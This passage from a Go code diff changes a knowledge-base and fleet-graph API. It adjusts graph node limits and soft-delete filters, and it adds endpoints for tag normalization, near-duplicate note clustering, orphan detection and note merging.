"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",
|
||||
"LrhQq++5Sg6fP37+/wEAAP//VvsxiT/wAAA=",
|
||||
}
|
||||
|
||||
// GetSwagger returns the content of the embedded swagger specification file
|
||||
|
||||
@@ -24,7 +24,12 @@ import (
|
||||
const (
|
||||
defaultLimit = 50
|
||||
maxLimit = 200
|
||||
graphNodeCap = 500
|
||||
// graphNodeCap bounds the whole-graph view. The cognition transactional
|
||||
// types (execution, task) are audit records, not topology, and previously
|
||||
// crowded out every host/lxc/service; the default whole-graph view below
|
||||
// excludes them so the cap is spent on the actual fleet graph. Operators
|
||||
// still reach executions/tasks via list_entities.
|
||||
graphNodeCap = 2000
|
||||
)
|
||||
|
||||
// actorInfo returns the caller's (type, label) from the request context,
|
||||
@@ -307,14 +312,19 @@ func (s *Server) GetGraph(ctx context.Context, req gen.GetGraphRequestObject) (g
|
||||
// alphabetically. Without this the cap fills with exec:* rows and
|
||||
// drops every host/lxc/service/vm — and every edge those entities
|
||||
// connect — because edges require both endpoints in the node set.
|
||||
// Exclude the cognition transactional types (execution/task): they
|
||||
// are audit records rather than topology, and at ~380 rows they
|
||||
// consumed most of the old 500-node cap.
|
||||
nodes, err = s.queryEntities(ctx, `
|
||||
SELECT `+entityCols+`
|
||||
FROM entities e
|
||||
LEFT JOIN entity_status st ON st.entity_id = e.id
|
||||
WHERE e.id IN (
|
||||
WHERE e.type NOT IN ('execution','task')
|
||||
AND e.id IN (
|
||||
SELECT e2.id FROM entities e2
|
||||
LEFT JOIN relationships r ON r.valid_to IS NULL
|
||||
AND (r.source_id = e2.id OR r.target_id = e2.id)
|
||||
WHERE e2.type NOT IN ('execution','task')
|
||||
GROUP BY e2.id
|
||||
ORDER BY count(r.type) DESC, e2.slug
|
||||
LIMIT $1
|
||||
@@ -999,7 +1009,9 @@ func (s *Server) CreateEntity(ctx context.Context, req gen.CreateEntityRequestOb
|
||||
return nil, eventErr
|
||||
}
|
||||
|
||||
ensureDefaultChecks(ctx, tx, inserted.ID, slug, req.Body.Type, attrsJSON)
|
||||
if err := ensureDefaultChecks(ctx, tx, inserted.ID, slug, req.Body.Type, inserted.Name, attrsJSON); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if err := tx.Commit(ctx); err != nil {
|
||||
return nil, err
|
||||
@@ -1265,7 +1277,9 @@ func (s *Server) EnrollClient(ctx context.Context, req gen.EnrollClientRequestOb
|
||||
"info", "oikos-api", "",
|
||||
map[string]any{"slug": req.Body.Slug, "type": current.Type})
|
||||
|
||||
ensureDefaultChecks(ctx, tx, id, req.Body.Slug, current.Type, attrsJSON)
|
||||
if err := ensureDefaultChecks(ctx, tx, id, req.Body.Slug, current.Type, current.Name, attrsJSON); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if err := tx.Commit(ctx); err != nil {
|
||||
return nil, err
|
||||
|
||||
@@ -50,6 +50,7 @@ func (s *Server) serveRecentKnowledge(w http.ResponseWriter, req *http.Request)
|
||||
FROM knowledge_entities ke
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
WHERE ($1 = '' OR ke.source = $1)
|
||||
AND ke.deleted_at IS NULL
|
||||
ORDER BY ke.updated_at DESC
|
||||
LIMIT $2`, source, limit)
|
||||
if err != nil {
|
||||
@@ -82,6 +83,7 @@ func (s *Server) serveRecentKnowledge(w http.ResponseWriter, req *http.Request)
|
||||
COUNT(*) FILTER (WHERE ke.source = 'nomos-agent'),
|
||||
COUNT(*) FILTER (WHERE ke.updated_at > now() - interval '7 days')
|
||||
FROM knowledge_entities ke JOIN entities e ON e.id = ke.entity_id
|
||||
WHERE ke.deleted_at IS NULL
|
||||
GROUP BY e.type`)
|
||||
if err == nil {
|
||||
defer srows.Close()
|
||||
@@ -128,15 +130,19 @@ func (s *Server) serveKnowledgeContent(w http.ResponseWriter, req *http.Request)
|
||||
return
|
||||
}
|
||||
|
||||
var title, content, source string
|
||||
var title, content, source, editedBy string
|
||||
var tags []string
|
||||
var updatedAt string
|
||||
var revisions int
|
||||
err = s.pool.QueryRow(ctx, `
|
||||
SELECT ke.title, ke.content, COALESCE(ke.source,''), ke.tags, ke.updated_at::text
|
||||
SELECT ke.title, ke.content, COALESCE(ke.source,''), COALESCE(ke.edited_by,''),
|
||||
ke.tags, ke.updated_at::text,
|
||||
(SELECT count(*) FROM knowledge_revisions kr WHERE kr.entity_id = ke.entity_id)
|
||||
FROM knowledge_entities ke
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
WHERE e.slug = $1 OR e.id::text = $1`, idOrSlug).
|
||||
Scan(&title, &content, &source, &tags, &updatedAt)
|
||||
WHERE (e.slug = $1 OR e.id::text = $1)
|
||||
AND ke.deleted_at IS NULL`, idOrSlug).
|
||||
Scan(&title, &content, &source, &editedBy, &tags, &updatedAt, &revisions)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusNotFound, "no knowledge content for entity", "")
|
||||
return
|
||||
@@ -150,8 +156,10 @@ func (s *Server) serveKnowledgeContent(w http.ResponseWriter, req *http.Request)
|
||||
"title": title,
|
||||
"content": content,
|
||||
"source": source,
|
||||
"edited_by": editedBy,
|
||||
"tags": tags,
|
||||
"updated_at": updatedAt,
|
||||
"revisions": revisions,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -169,6 +177,7 @@ func (s *Server) SearchKnowledge(ctx context.Context, request gen.SearchKnowledg
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
JOIN entity_types et ON et.name = e.type
|
||||
WHERE ke.search @@ plainto_tsquery('english', $1)
|
||||
AND ke.deleted_at IS NULL
|
||||
ORDER BY rank DESC
|
||||
LIMIT $2`,
|
||||
q, limit)
|
||||
@@ -232,6 +241,7 @@ func (s *Server) GetEntityKnowledge(ctx context.Context, request gen.GetEntityKn
|
||||
WHERE target.slug = $1
|
||||
AND r.valid_to IS NULL
|
||||
AND r.type IN ('documents', 'about')
|
||||
AND ke.deleted_at IS NULL
|
||||
UNION
|
||||
SELECT e.id, e.slug, COALESCE(et.name,''), ke.title, ke.source, ke.tags
|
||||
FROM knowledge_entities ke
|
||||
@@ -242,6 +252,7 @@ func (s *Server) GetEntityKnowledge(ctx context.Context, request gen.GetEntityKn
|
||||
JOIN entities ent ON ent.type = target_type.name AND ent.slug = $1
|
||||
WHERE r.valid_to IS NULL
|
||||
AND r.type = 'procedure-for'
|
||||
AND ke.deleted_at IS NULL
|
||||
ORDER BY 2`,
|
||||
entitySlug)
|
||||
if err != nil {
|
||||
|
||||
544
internal/httpapi/knowledge_drift.go
Normal file
544
internal/httpapi/knowledge_drift.go
Normal file
@@ -0,0 +1,544 @@
|
||||
package httpapi
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log/slog"
|
||||
"net/http"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Drift tooling for the knowledge base — the maintenance half of the wiki.
|
||||
//
|
||||
// These endpoints exist because the knowledge base measurably rots on its
|
||||
// own. Two failure modes are already present in live data:
|
||||
//
|
||||
// - **Duplicate pileup.** upsert_knowledge keys on exact title, so a note
|
||||
// titled "rclone backup live inspection — 2026-07-15 10:08 UTC" and one
|
||||
// titled "... 11:18 UTC" are different notes. A single day of agent
|
||||
// activity produced eight near-identical investigations that should have
|
||||
// been one living page. Nothing surfaced that, so it kept happening.
|
||||
// - **Tag drift.** `oom` and `OOM` were separate tags; so were `422` and
|
||||
// `proton-422`. Each split halves the usefulness of tag navigation, and
|
||||
// neither is visible from any single note.
|
||||
//
|
||||
// normalizeTags (knowledge_write.go) stops new casing splits at the door;
|
||||
// these endpoints clean up what's already there and make the rot visible.
|
||||
|
||||
// serveKnowledgeTags returns the tag index: every tag with its usage count,
|
||||
// plus the distinct casings actually stored. `variants` is the interesting
|
||||
// column — it's how the operator discovers that `oom` and `OOM` are the same
|
||||
// idea filed twice, which no individual note reveals.
|
||||
func (s *Server) serveKnowledgeTags(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
rows, err := s.pool.Query(ctx, `
|
||||
SELECT lower(tag) AS norm,
|
||||
count(*) AS uses,
|
||||
array_agg(DISTINCT tag ORDER BY tag) AS variants
|
||||
FROM knowledge_entities ke, unnest(ke.tags) AS tag
|
||||
WHERE ke.deleted_at IS NULL
|
||||
GROUP BY lower(tag)
|
||||
ORDER BY uses DESC, norm`)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
type tagRow struct {
|
||||
Tag string `json:"tag"`
|
||||
Uses int `json:"uses"`
|
||||
Variants []string `json:"variants"`
|
||||
// True when the same tag is stored under more than one casing —
|
||||
// the UI badges these as needing a normalize.
|
||||
Split bool `json:"split"`
|
||||
}
|
||||
items := []tagRow{}
|
||||
for rows.Next() {
|
||||
var t tagRow
|
||||
if err := rows.Scan(&t.Tag, &t.Uses, &t.Variants); err != nil {
|
||||
slog.Error("httpapi: knowledge/tags row scan failed", "error", err)
|
||||
continue
|
||||
}
|
||||
t.Split = len(t.Variants) > 1
|
||||
items = append(items, t)
|
||||
}
|
||||
|
||||
writeJSON(w, map[string]any{"items": items})
|
||||
}
|
||||
|
||||
// serveRenameKnowledgeTag rewrites one or more tags to a single target across
|
||||
// every live note — the merge/rename/normalize action behind the tag manager.
|
||||
// Passing several `from` values into one `to` is the merge case
|
||||
// (`{"from":["422","proton-422"],"to":"proton-422"}`); passing one is a plain
|
||||
// rename; passing the mixed-case variants is the normalize case.
|
||||
func (s *Server) serveRenameKnowledgeTag(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
var body struct {
|
||||
From []string `json:"from"`
|
||||
To string `json:"to"`
|
||||
}
|
||||
if err := json.NewDecoder(req.Body).Decode(&body); err != nil {
|
||||
writeProblem(w, req, http.StatusBadRequest, "invalid request body", err.Error())
|
||||
return
|
||||
}
|
||||
to := strings.ToLower(strings.TrimSpace(body.To))
|
||||
from := []string{}
|
||||
for _, f := range body.From {
|
||||
if f = strings.TrimSpace(f); f != "" {
|
||||
from = append(from, f)
|
||||
}
|
||||
}
|
||||
if to == "" || len(from) == 0 {
|
||||
writeProblem(w, req, http.StatusBadRequest, "from and to are required", "")
|
||||
return
|
||||
}
|
||||
|
||||
// Rebuild each affected note's tag array: map every `from` member to
|
||||
// `to`, leave everything else alone, then de-duplicate. The dedupe
|
||||
// matters for the merge case — a note tagged both `422` and
|
||||
// `proton-422` would otherwise end up with `proton-422` twice.
|
||||
//
|
||||
// This is a plain UPDATE on knowledge_entities, so trg_knowledge_revision
|
||||
// fires and every affected note gets a revision. A tag merge across 17
|
||||
// notes is exactly the kind of bulk edit worth being able to inspect
|
||||
// afterwards.
|
||||
tag, err := s.pool.Exec(ctx, `
|
||||
UPDATE knowledge_entities ke
|
||||
SET tags = sub.new_tags, updated_at = now()
|
||||
FROM (
|
||||
SELECT k.entity_id,
|
||||
ARRAY(SELECT DISTINCT CASE WHEN lower(t) = ANY($1) THEN $2 ELSE t END
|
||||
FROM unnest(k.tags) AS t) AS new_tags
|
||||
FROM knowledge_entities k
|
||||
WHERE k.deleted_at IS NULL
|
||||
AND EXISTS (SELECT 1 FROM unnest(k.tags) AS t WHERE lower(t) = ANY($1))
|
||||
) AS sub
|
||||
WHERE ke.entity_id = sub.entity_id`,
|
||||
lowerAll(from), to)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "rename failed", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
_, actorLabel := actorInfo(ctx)
|
||||
slog.Info("knowledge tags renamed", "from", from, "to", to,
|
||||
"notes", tag.RowsAffected(), "actor", actorLabel)
|
||||
writeJSON(w, map[string]any{"ok": true, "notes_updated": tag.RowsAffected()})
|
||||
}
|
||||
|
||||
// serveKnowledgeDuplicates clusters notes whose titles are near-identical.
|
||||
//
|
||||
// Pairwise trigram similarity is computed in SQL (indexed, and the whole
|
||||
// point of pulling in pg_trgm); the grouping is done here in Go. Returning
|
||||
// clusters rather than pairs matters for the real data: the rclone pileup
|
||||
// produces dozens of pairs, which is unreadable, versus one cluster, which
|
||||
// is the actionable unit.
|
||||
//
|
||||
// The grouping uses **complete linkage** — a note joins a cluster only if it
|
||||
// is similar to every member already in it. The obvious implementation
|
||||
// (union-find over the pairs) is single linkage, and on this data it chains
|
||||
// badly: "A~B, B~C" merged notes that were not remotely alike, collapsing
|
||||
// fifteen distinct backup events into one unusable blob. Requiring mutual
|
||||
// similarity keeps clusters tight enough to act on.
|
||||
//
|
||||
// Even so, these are *candidates for review*, never a verdict. The five
|
||||
// "Lifecycle: <verb> a node" runbooks are mutually similar by title and are
|
||||
// five deliberately distinct documents — no threshold distinguishes them
|
||||
// from a genuine duplicate, so merging stays a manual, previewed action.
|
||||
func (s *Server) serveKnowledgeDuplicates(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
// 0.6, tuned against the live data: at 0.45 the "Lifecycle: <verb> a
|
||||
// node" runbooks (five deliberately distinct documents that happen to
|
||||
// share a naming template) formed a false-positive cluster; 0.6 clears
|
||||
// that down to a single borderline pair while keeping every genuine
|
||||
// duplicate cluster (the rclone/apt-audit/uptime pileups) intact.
|
||||
// Tunable per request — the UI exposes this as the review net widens.
|
||||
threshold := 0.6
|
||||
if t := req.URL.Query().Get("threshold"); t != "" {
|
||||
if v, err := strconv.ParseFloat(t, 64); err == nil && v > 0 && v <= 1 {
|
||||
threshold = v
|
||||
}
|
||||
}
|
||||
|
||||
rows, err := s.pool.Query(ctx, `
|
||||
SELECT a.slug, b.slug, similarity(ka.title, kb.title) AS sim
|
||||
FROM knowledge_entities ka
|
||||
JOIN knowledge_entities kb ON ka.entity_id < kb.entity_id
|
||||
JOIN entities a ON a.id = ka.entity_id
|
||||
JOIN entities b ON b.id = kb.entity_id
|
||||
WHERE ka.deleted_at IS NULL AND kb.deleted_at IS NULL
|
||||
AND similarity(ka.title, kb.title) > $1
|
||||
ORDER BY sim DESC`, threshold)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
type pair struct {
|
||||
A, B string
|
||||
Sim float64
|
||||
}
|
||||
pairs := []pair{}
|
||||
for rows.Next() {
|
||||
var p pair
|
||||
if err := rows.Scan(&p.A, &p.B, &p.Sim); err != nil {
|
||||
slog.Error("httpapi: knowledge/duplicates row scan failed", "error", err)
|
||||
continue
|
||||
}
|
||||
pairs = append(pairs, p)
|
||||
}
|
||||
|
||||
// Complete-linkage grouping. `pairs` arrives sorted by similarity
|
||||
// descending, so each new cluster is seeded from the strongest remaining
|
||||
// pair and then only grows with notes that are similar to *everything*
|
||||
// already inside it.
|
||||
sim := make(map[string]float64, len(pairs)*2)
|
||||
key := func(a, b string) string {
|
||||
if a > b {
|
||||
a, b = b, a
|
||||
}
|
||||
return a + "\x00" + b
|
||||
}
|
||||
for _, p := range pairs {
|
||||
sim[key(p.A, p.B)] = p.Sim
|
||||
}
|
||||
linked := func(a, b string) bool { return sim[key(a, b)] > 0 }
|
||||
|
||||
assigned := map[string]bool{}
|
||||
type rawCluster struct {
|
||||
members []string
|
||||
top float64
|
||||
}
|
||||
raw := []rawCluster{}
|
||||
|
||||
for _, p := range pairs {
|
||||
if assigned[p.A] || assigned[p.B] {
|
||||
continue
|
||||
}
|
||||
c := rawCluster{members: []string{p.A, p.B}, top: p.Sim}
|
||||
assigned[p.A], assigned[p.B] = true, true
|
||||
|
||||
// Sweep the remaining pairs for candidates that connect to every
|
||||
// current member. Repeat until a full pass adds nothing, since
|
||||
// admitting one member can qualify another.
|
||||
for grew := true; grew; {
|
||||
grew = false
|
||||
for _, q := range pairs {
|
||||
for _, cand := range []string{q.A, q.B} {
|
||||
if assigned[cand] {
|
||||
continue
|
||||
}
|
||||
ok := true
|
||||
for _, m := range c.members {
|
||||
if !linked(cand, m) {
|
||||
ok = false
|
||||
break
|
||||
}
|
||||
}
|
||||
if ok {
|
||||
c.members = append(c.members, cand)
|
||||
assigned[cand] = true
|
||||
grew = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
raw = append(raw, c)
|
||||
}
|
||||
|
||||
groups := map[string][]string{}
|
||||
best := map[string]float64{}
|
||||
for _, c := range raw {
|
||||
root := c.members[0]
|
||||
groups[root] = c.members
|
||||
best[root] = c.top
|
||||
}
|
||||
|
||||
// Re-fetch display detail for the clustered slugs only.
|
||||
type member struct {
|
||||
Slug string `json:"slug"`
|
||||
Title string `json:"title"`
|
||||
Kind string `json:"kind"`
|
||||
Size int `json:"size"`
|
||||
UpdatedAt string `json:"updated_at"`
|
||||
EditedBy string `json:"edited_by"`
|
||||
}
|
||||
detail := map[string]member{}
|
||||
if len(groups) > 0 {
|
||||
all := []string{}
|
||||
for _, g := range groups {
|
||||
all = append(all, g...)
|
||||
}
|
||||
drows, derr := s.pool.Query(ctx, `
|
||||
SELECT e.slug, ke.title, e.type, length(ke.content),
|
||||
ke.updated_at::text, COALESCE(ke.edited_by,'')
|
||||
FROM knowledge_entities ke
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
WHERE e.slug = ANY($1) AND ke.deleted_at IS NULL`, all)
|
||||
if derr != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "detail query failed", derr.Error())
|
||||
return
|
||||
}
|
||||
defer drows.Close()
|
||||
for drows.Next() {
|
||||
var m member
|
||||
if err := drows.Scan(&m.Slug, &m.Title, &m.Kind, &m.Size, &m.UpdatedAt, &m.EditedBy); err != nil {
|
||||
slog.Error("httpapi: knowledge/duplicates detail scan failed", "error", err)
|
||||
continue
|
||||
}
|
||||
detail[m.Slug] = m
|
||||
}
|
||||
}
|
||||
|
||||
type cluster struct {
|
||||
Members []member `json:"members"`
|
||||
TopSim float64 `json:"top_similarity"`
|
||||
TotalSize int `json:"total_size"`
|
||||
}
|
||||
out := []cluster{}
|
||||
for root, slugs := range groups {
|
||||
c := cluster{TopSim: best[root]}
|
||||
for _, sl := range slugs {
|
||||
if m, ok := detail[sl]; ok {
|
||||
c.Members = append(c.Members, m)
|
||||
c.TotalSize += m.Size
|
||||
}
|
||||
}
|
||||
if len(c.Members) < 2 {
|
||||
continue
|
||||
}
|
||||
// Newest first inside a cluster — the most recent note is usually
|
||||
// the one worth keeping as the merge target.
|
||||
sort.Slice(c.Members, func(i, j int) bool {
|
||||
return c.Members[i].UpdatedAt > c.Members[j].UpdatedAt
|
||||
})
|
||||
out = append(out, c)
|
||||
}
|
||||
// Biggest clusters first: an eight-note pileup deserves attention before
|
||||
// a two-note coincidence.
|
||||
sort.Slice(out, func(i, j int) bool {
|
||||
if len(out[i].Members) != len(out[j].Members) {
|
||||
return len(out[i].Members) > len(out[j].Members)
|
||||
}
|
||||
return out[i].TopSim > out[j].TopSim
|
||||
})
|
||||
|
||||
writeJSON(w, map[string]any{"clusters": out, "threshold": threshold})
|
||||
}
|
||||
|
||||
// serveKnowledgeOrphans surfaces notes that have fallen out of every
|
||||
// navigation path — the ones that are technically present but effectively
|
||||
// unreachable, and so quietly stop being maintained.
|
||||
//
|
||||
// Three independent reasons, reported per note (a note can have several):
|
||||
// - untagged: invisible to tag navigation
|
||||
// - unlinked: not `about` any entity, so it never appears on a machine's page
|
||||
// - stale: untouched for 90+ days
|
||||
func (s *Server) serveKnowledgeOrphans(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
staleDays := 90
|
||||
if d := req.URL.Query().Get("stale_days"); d != "" {
|
||||
if v, err := strconv.Atoi(d); err == nil && v > 0 && v <= 3650 {
|
||||
staleDays = v
|
||||
}
|
||||
}
|
||||
|
||||
rows, err := s.pool.Query(ctx, fmt.Sprintf(`
|
||||
SELECT e.slug, ke.title, e.type, COALESCE(ke.edited_by,''),
|
||||
ke.updated_at::text,
|
||||
(ke.tags IS NULL OR cardinality(ke.tags) = 0) AS untagged,
|
||||
NOT EXISTS (
|
||||
SELECT 1 FROM relationships r
|
||||
WHERE r.source_id = ke.entity_id AND r.valid_to IS NULL
|
||||
AND r.type IN ('documents', 'about')
|
||||
) AS unlinked,
|
||||
(ke.updated_at < now() - interval '%d days') AS stale
|
||||
FROM knowledge_entities ke
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
WHERE ke.deleted_at IS NULL
|
||||
ORDER BY ke.updated_at ASC`, staleDays))
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
type orphan struct {
|
||||
Slug string `json:"slug"`
|
||||
Title string `json:"title"`
|
||||
Kind string `json:"kind"`
|
||||
EditedBy string `json:"edited_by"`
|
||||
UpdatedAt string `json:"updated_at"`
|
||||
Reasons []string `json:"reasons"`
|
||||
}
|
||||
items := []orphan{}
|
||||
counts := map[string]int{"untagged": 0, "unlinked": 0, "stale": 0}
|
||||
for rows.Next() {
|
||||
var o orphan
|
||||
var untagged, unlinked, stale bool
|
||||
if err := rows.Scan(&o.Slug, &o.Title, &o.Kind, &o.EditedBy, &o.UpdatedAt,
|
||||
&untagged, &unlinked, &stale); err != nil {
|
||||
slog.Error("httpapi: knowledge/orphans row scan failed", "error", err)
|
||||
continue
|
||||
}
|
||||
o.Reasons = []string{}
|
||||
if untagged {
|
||||
o.Reasons = append(o.Reasons, "untagged")
|
||||
counts["untagged"]++
|
||||
}
|
||||
if unlinked {
|
||||
o.Reasons = append(o.Reasons, "unlinked")
|
||||
counts["unlinked"]++
|
||||
}
|
||||
if stale {
|
||||
o.Reasons = append(o.Reasons, "stale")
|
||||
counts["stale"]++
|
||||
}
|
||||
if len(o.Reasons) > 0 {
|
||||
items = append(items, o)
|
||||
}
|
||||
}
|
||||
|
||||
writeJSON(w, map[string]any{
|
||||
"items": items,
|
||||
"counts": counts,
|
||||
"stale_days": staleDays,
|
||||
})
|
||||
}
|
||||
|
||||
// serveMergeKnowledge folds several notes into one: each source's body is
|
||||
// appended to the target under a provenance heading, the union of all tags is
|
||||
// kept, and the sources are soft-deleted.
|
||||
//
|
||||
// Append rather than discard, and soft-delete rather than hard: a merge is a
|
||||
// judgement call made from a similarity score, and the operator needs to be
|
||||
// able to walk it back. The target's pre-merge state is captured by the
|
||||
// revision trigger, so the merge itself is undoable from the History tab.
|
||||
func (s *Server) serveMergeKnowledge(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
var body struct {
|
||||
Target string `json:"target"`
|
||||
Sources []string `json:"sources"`
|
||||
}
|
||||
if err := json.NewDecoder(req.Body).Decode(&body); err != nil {
|
||||
writeProblem(w, req, http.StatusBadRequest, "invalid request body", err.Error())
|
||||
return
|
||||
}
|
||||
if strings.TrimSpace(body.Target) == "" || len(body.Sources) == 0 {
|
||||
writeProblem(w, req, http.StatusBadRequest, "target and sources are required", "")
|
||||
return
|
||||
}
|
||||
|
||||
targetID, err := s.resolveKnowledgeEntity(ctx, body.Target)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusNotFound, "target note not found", body.Target)
|
||||
return
|
||||
}
|
||||
_, actorLabel := actorInfo(ctx)
|
||||
|
||||
tx, err := s.pool.Begin(ctx)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "begin failed", err.Error())
|
||||
return
|
||||
}
|
||||
defer tx.Rollback(ctx)
|
||||
|
||||
var merged []string
|
||||
var appended strings.Builder
|
||||
tagSet := map[string]bool{}
|
||||
|
||||
for _, srcSlug := range body.Sources {
|
||||
if srcSlug == body.Target {
|
||||
continue // merging a note into itself would duplicate its body
|
||||
}
|
||||
var srcTitle, srcContent, srcUpdated string
|
||||
var srcTags []string
|
||||
err := tx.QueryRow(ctx, `
|
||||
SELECT ke.title, ke.content, COALESCE(ke.tags,'{}'), ke.updated_at::text
|
||||
FROM knowledge_entities ke
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
WHERE (e.slug = $1 OR e.id::text = $1) AND ke.deleted_at IS NULL`,
|
||||
srcSlug).Scan(&srcTitle, &srcContent, &srcTags, &srcUpdated)
|
||||
if err != nil {
|
||||
slog.Warn("knowledge merge: source not found, skipping", "slug", srcSlug)
|
||||
continue
|
||||
}
|
||||
appended.WriteString("\n\n---\n\n## Merged: ")
|
||||
appended.WriteString(srcTitle)
|
||||
appended.WriteString("\n\n*Originally ")
|
||||
appended.WriteString(srcSlug)
|
||||
appended.WriteString(", last updated ")
|
||||
appended.WriteString(srcUpdated)
|
||||
appended.WriteString("*\n\n")
|
||||
appended.WriteString(srcContent)
|
||||
for _, t := range srcTags {
|
||||
tagSet[strings.ToLower(strings.TrimSpace(t))] = true
|
||||
}
|
||||
merged = append(merged, srcSlug)
|
||||
}
|
||||
|
||||
if len(merged) == 0 {
|
||||
writeProblem(w, req, http.StatusBadRequest, "no valid source notes to merge", "")
|
||||
return
|
||||
}
|
||||
|
||||
extraTags := make([]string, 0, len(tagSet))
|
||||
for t := range tagSet {
|
||||
if t != "" {
|
||||
extraTags = append(extraTags, t)
|
||||
}
|
||||
}
|
||||
sort.Strings(extraTags)
|
||||
|
||||
// The array concat + DISTINCT keeps the target's own tags first and adds
|
||||
// only what the sources contribute.
|
||||
if _, err := tx.Exec(ctx, `
|
||||
UPDATE knowledge_entities
|
||||
SET content = content || $2,
|
||||
tags = ARRAY(SELECT DISTINCT unnest(COALESCE(tags,'{}') || $3::text[])),
|
||||
edited_by = $4,
|
||||
updated_at = now()
|
||||
WHERE entity_id = $1`,
